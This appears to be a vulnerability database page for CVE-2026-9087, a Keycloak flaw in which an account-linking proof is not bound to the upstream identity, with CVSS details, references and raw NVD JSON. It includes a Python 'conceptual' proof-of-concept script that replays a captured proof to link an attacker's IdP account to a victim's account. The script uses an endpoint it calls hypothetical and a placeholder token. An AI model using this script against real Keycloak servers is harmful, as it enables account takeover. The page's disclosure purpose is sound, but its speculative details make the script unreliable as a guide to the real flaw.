Security Vulnerability Report
中文
CVE-2026-9087 CVSS 6.4 MEDIUM

CVE-2026-9087

Published: 2026-05-20 17:16:32
Last Modified: 2026-05-20 17:32:36

Description

A flaw was found in Keycloak. The cross-session verification proof is keyed only by (local userId, idpAlias) and is not bound to the upstream identity that was actually verified, so a second upstream account on the same IdP can consume it and get linked to the victim's local account.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Conceptual Proof of Concept for CVE-2026-9087 # Demonstrating the lack of binding between the proof and the upstream identity. def exploit_keycloak_linking(target_url, victim_user_id, idp_alias, attacker_idp_token): """ Attempts to link an attacker's IdP account to a victim's local Keycloak account by replaying a verification proof. """ # Endpoint for linking the account (hypothetical) link_endpoint = f"{target_url}/realms/master/protocol/openid-connect/link" # The vulnerable proof code, typically obtained by the victim during their linking flow # In a real scenario, this might be sniffed or guessed if not sufficiently random victim_proof_code = "captured_proof_token_abc123" headers = { "Authorization": f"Bearer {attacker_idp_token}", "Content-Type": "application/json" } payload = { "userId": victim_user_id, "idpAlias": idp_alias, "proof": victim_proof_code # The flaw: The server checks (userId, idpAlias) but ignores which upstream account generated it } try: print(f"[*] Attempting to hijack link for user {victim_user_id} using IdP {idp_alias}...") response = requests.post(link_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Attacker's IdP account linked to victim's local account.") print("[+] Attacker can now log in as the victim.") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") # Usage # exploit_keycloak_linking("https://keycloak.example.com", "victim-uuid-123", "google", "attacker-google-token")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9087", "sourceIdentifier": "[email protected]", "published": "2026-05-20T17:16:32.207", "lastModified": "2026-05-20T17:32:35.827", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. The cross-session verification proof is keyed only by (local userId,\nidpAlias) and is not bound to the upstream identity that was actually verified, so a second upstream account on the same IdP can consume it and get linked to the victim's local account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9087", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480172", "source": "[email protected]"}]}}